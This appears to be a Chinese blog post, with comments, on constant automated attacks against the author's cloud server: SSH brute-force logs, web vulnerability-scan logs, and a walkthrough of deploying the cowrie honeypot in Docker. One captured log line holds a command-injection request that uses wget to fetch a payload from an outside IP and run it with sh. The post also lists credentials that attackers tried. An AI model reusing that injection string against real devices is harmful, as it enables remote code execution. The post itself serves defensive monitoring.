攻击无处不在
0x01 SSH暴力破解
忽然收到腾讯云的报警短信,说是检测到来自某IP的异常登录行为,疑似被黑客入侵。于是我马上登录服务器,查看SSH登录失败日志,发现果然有人在暴力破解我的SSH用户名和密码。
$ lastb
ftptest ssh:notty 111.230.245.244 Sun Nov 25 09:03 - 09:03 (00:00)
ftptest ssh:notty 111.230.245.244 Sun Nov 25 09:02 - 09:02 (00:00)
ftptest ssh:notty 111.230.245.244 Sun Nov 25 09:00 - 09:00 (00:00)
butter ssh:notty 13.251.164.85 Sun Nov 25 09:00 - 09:00 (00:00)
es ssh:notty 111.230.245.244 Sun Nov 25 08:58 - 08:58 (00:00)
es ssh:notty 111.230.245.244 Sun Nov 25 08:57 - 08:57 (00:00)
es ssh:notty 111.230.245.244 Sun Nov 25 08:54 - 08:54 (00:00)
es ssh:notty 111.230.245.244 Sun Nov 25 08:52 - 08:52 (00:00)
elsearch ssh:notty 111.230.245.244 Sun Nov 25 08:49 - 08:49 (00:00)
elsearch ssh:notty 111.230.245.244 Sun Nov 25 08:45 - 08:45 (00:00)
unix ssh:notty 77.111.169.40 Sun Nov 25 08:44 - 08:44 (00:00)
elsearch ssh:notty 111.230.245.244 Sun Nov 25 08:44 - 08:44 (00:00)
butter ssh:notty 13.251.164.85 Sun Nov 25 08:42 - 08:42 (00:00)
elk ssh:notty 111.230.245.244 Sun Nov 25 08:39 - 08:39 (00:00)
elk ssh:notty 111.230.245.244 Sun Nov 25 08:37 - 08:37 (00:00)
elk ssh:notty 111.230.245.244 Sun Nov 25 08:35 - 08:35 (00:00)
elk ssh:notty 111.230.245.244 Sun Nov 25 08:34 - 08:34 (00:00)
elk ssh:notty 111.230.245.244 Sun Nov 25 08:32 - 08:32 (00:00)
vpnguard ssh:notty 159.203.67.146 Sun Nov 25 08:27 - 08:27 (00:00)
elastics ssh:notty 111.230.245.244 Sun Nov 25 08:26 - 08:26 (00:00)
这里只展示了命令输出的一小部分,暴力破解是2018年11月3日09:38开始的,以每秒几次的速率一直持续到现在。到目前为止,共计尝试了18957次。
# lastb | wc -l
18957
更可怕的是,这一万多次暴力破解来自一千多个不同的IP地址。
# lastb | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | wc -l
1397
0x02 Web扫描
前端时间在一台有公网IP地址的服务器上开了Python的静态HTTP服务器以下载一个文件,忘记关闭,过了一段时间去关,发现访问日志充满了漏洞扫描和暴力破解。十几天里有三千多条攻击记录。节选部分如下:
47.203.93.156 - - [04/Aug/2018 14:31:00] code 404, message File not found
47.203.93.156 - - [04/Aug/2018 14:31:00] "GET http://httpheader.net/ HTTP/1.1" 404 -
47.203.93.156 - - [04/Aug/2018 14:31:11] code 400, message Bad request syntax ('\x04\x01\x00P\xc0c\xf660\x00')
47.203.93.156 - - [04/Aug/2018 14:31:11] " P纁?0 " 400 -
47.203.93.156 - - [04/Aug/2018 14:31:21] code 400, message Bad request syntax ('\x05\x01\x00')
47.203.93.156 - - [04/Aug/2018 14:31:21] " " 400 -
156.212.246.226 - - [05/Aug/2018 10:49:15] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 404 -
115.231.233.9 - - [05/Aug/2018 11:45:39] "GET /phpMyAdmin/index.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:32] code 501, message Unsupported method ('PROPFIND')
186.23.59.137 - - [05/Aug/2018 12:42:33] "GET /help.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:37] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:37] "GET /_query.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:38] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:38] "GET /test.php HTTP/1.1" 404 -
186.23.59.137 - - [05/Aug/2018 12:42:53] code 404, message File not found
186.23.59.137 - - [05/Aug/2018 12:42:53] "GET /log.php HTTP/1.1" 404 -
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /56.php HTTP/1.1" 501 -
125.27.179.27 - - [06/Aug/2018 23:00:27] code 501, message Unsupported method ('POST')
125.27.179.27 - - [06/Aug/2018 23:00:27] "POST /mz.php HTTP/1.1" 501 -
94.23.220.43 - - [07/Aug/2018 00:56:00] "GET /CFIDE/administrator/ HTTP/1.1" 404 -
117.27.159.157 - - [09/Aug/2018 16:06:57] "GET /index.action HTTP/1.1" 404 -
209.141.55.13 - - [10/Aug/2018 18:04:36] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 -
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /hm.php HTTP/1.1" 501 -
119.23.26.66 - - [11/Aug/2018 10:14:34] code 501, message Unsupported method ('POST')
119.23.26.66 - - [11/Aug/2018 10:14:34] "POST /cainiao.php HTTP/1.1" 501 -
5.8.54.27 - - [21/Aug/2018 09:48:30] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 -
0x03 使用蜜罐防范攻击
这两件事情让我意识到,网络攻击无处不在。真正的黑客虽然不多,但自动化的攻击让每个黑客都可以贡献出巨大的流量。
如何应对这类攻击呢?我以docker的方式安装了中等交互蜜罐cowrie。
我的系统是Ubuntu14.04,安装过程如下:
1.修改SSH服务端口
在部署蜜罐前先将SSH服务的端口改掉,这通过修改配置文件来完成:
vim /etc/ssh/sshd_config
修改后重启SSH服务使得新配置生效:
sudo /etc/init.d/ssh restart
2.安装docker版cowrie蜜罐
首先安装docker:
sudo wget -qO- https://get.docker.com/ | sh
然后将一个非root用户添加到docker组,这样就能以非root用户运行docker:
sudo usermod -aG docker no-root-user
接着下载cowrie镜像:
docker pull cowrie/cowrie
最后运行cowrie蜜罐:
docker run -p 22:2222 cowrie/cowrie
参数-p做了端口映射,将主机的22端口映射到docker容器的2222端口(cowrie默认的SSH服务端口)。
3.查看cowrie的输出
刚刚运行就看到了大量的日志,截取部分如下:
2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] NEW KEYS
2018-12-01T01:41:10+0000 [HoneyPotSSHTransport,9,91.183.42.58] starting service b'ssh-userauth'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] b'acogec' trying auth b'password'
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] Could not read etc/userdb.txt, default database activated
2018-12-01T01:41:11+0000 [SSHService b'ssh-userauth' on HoneyPotSSHTransport,9,91.183.42.58] login attempt [b'acogec'/b'acogec123'] failed
2018-12-01T01:41:12+0000 [-] b'acogec' failed auth b'password'
后台运行可添加参数-d:
docker run -d -p 22:2222 cowrie/cowrie:latest
在后台运行时如何查看日志呢?
先查看cowrie的CONTAINER ID:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5f09eab15463 cowrie/cowrie:latest "cowrie start -n" 6 minutes ago Up 6 minutes 2223/tcp, 0.0.0.0:22->2222/tcp confident_panini
然后进入到容器内部:
docker exec -it 5f09eab15463 /bin/bash
进入容器内部后就可以查看日志了:
cat ~/cowrie-git/var/log/cowrie/cowrie.json
4.配置cowrie输出到sqlite3数据库
但这样看到的日志是JSON格式的,不便于统计。cowrie提供了输出到数据库的功能,只是docker中没有配置。现在我们来配置它:
首先以root用户身份进入到docker容器中:
docker exec -u root -it 5f09eab15463 /bin/bash
安装用于修改配置文件的vim:
apt-get install vim
安装数据库sqlite3,之所以使用sqlite3是因为该数据库较为轻量,占用内存较少:
apt-get install sqlite3
接着新建配置文件cowrie.cfg,内容如下:
# cat cowrie-git/cowrie.cfg
[output_sqlite]
enabled = true
db_file = cowrie.db
然后初始化数据库,cowrie.db也在目录cowrie-git下:
sqlite3 cowrie.db < docs/sql/sqlite3.sql
修改配置文件和数据库文件的所有者:
chown cowrie:cowrie cowrie.cfg
chown cowrie:cowrie cowrie.db
保存对容器的修改:
docker commit 5f09eab15463 cowrie/cowrie
最后退出容器,重启docker:
docker stop 5f09eab15463
docker run -d -p 22:2222 cowrie/cowrie:latest
重启后过段时间进入到容器内部,查看数据库中数据:
# sqlite3 cowrie.db
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> .table
auth input sensors
clients keyfingerprints sessions
downloads params ttylog
sqlite> select * from auth;
1|a09fd9f00e15|0|michel|password123|2018-12-01T03:08:28.423070Z
2|c1855fc2dde7|0|ale|ale|2018-12-01T03:09:17.309824Z
3|92d390074e0b|0|weblogic|654321|2018-12-01T03:09:38.139350Z
4|8c0a4a1c1c57|0|b2|b2|2018-12-01T03:09:39.818113Z
5|8b7369499a3d|0|joshua|joshua123|2018-12-01T03:09:57.069270Z
6|6ef4f60e0961|0|matilda|123456|2018-12-01T03:09:59.964616Z
7|f7ed2d311e5a|0|ftpadmin|test|2018-12-01T03:10:02.564809Z
8|22ff162f41eb|0|postgres3|postgres3|2018-12-01T03:10:04.318106Z
9|2201f65fcab2|1|root|admin|2018-12-01T03:10:12.634901Z
10|338193bafc29|0|odoo|12|2018-12-01T03:10:13.408241Z
11|6bbfa429bbcd|0|whiting|whiting123|2018-12-01T03:10:30.459699Z
sqlite>.exit
在auth表中可以看到暴力破解使用的用户名和密码。
5.参考
0x04 其他
这是我第一次使用docker,觉得很方便。操作起来颇有一种git的感觉。
刚看了下我的云主机,196条ssh失败登录,84个不同的ip。感觉你的数据量有点大啊。
我这是被盯上了 😯
已部署蜜罐,等待收获密码字典。
博主,我想问问,你开博客一个月大概费用多少?
博客运行在云主机上,价格是94元每月。但云主机不止运行着博客,还有其他用途。
评论没显示,test
首次评论需要审核才会显示。
博主我想问一下,那个ssh连接的密码怎么修改,我在docker内无法对cowrie-git/etc下的文件进行操作保存每次修改完userdb文件后保存容器再重启,userdb又会变成以前的内容。
改完后有 docker commit 吗?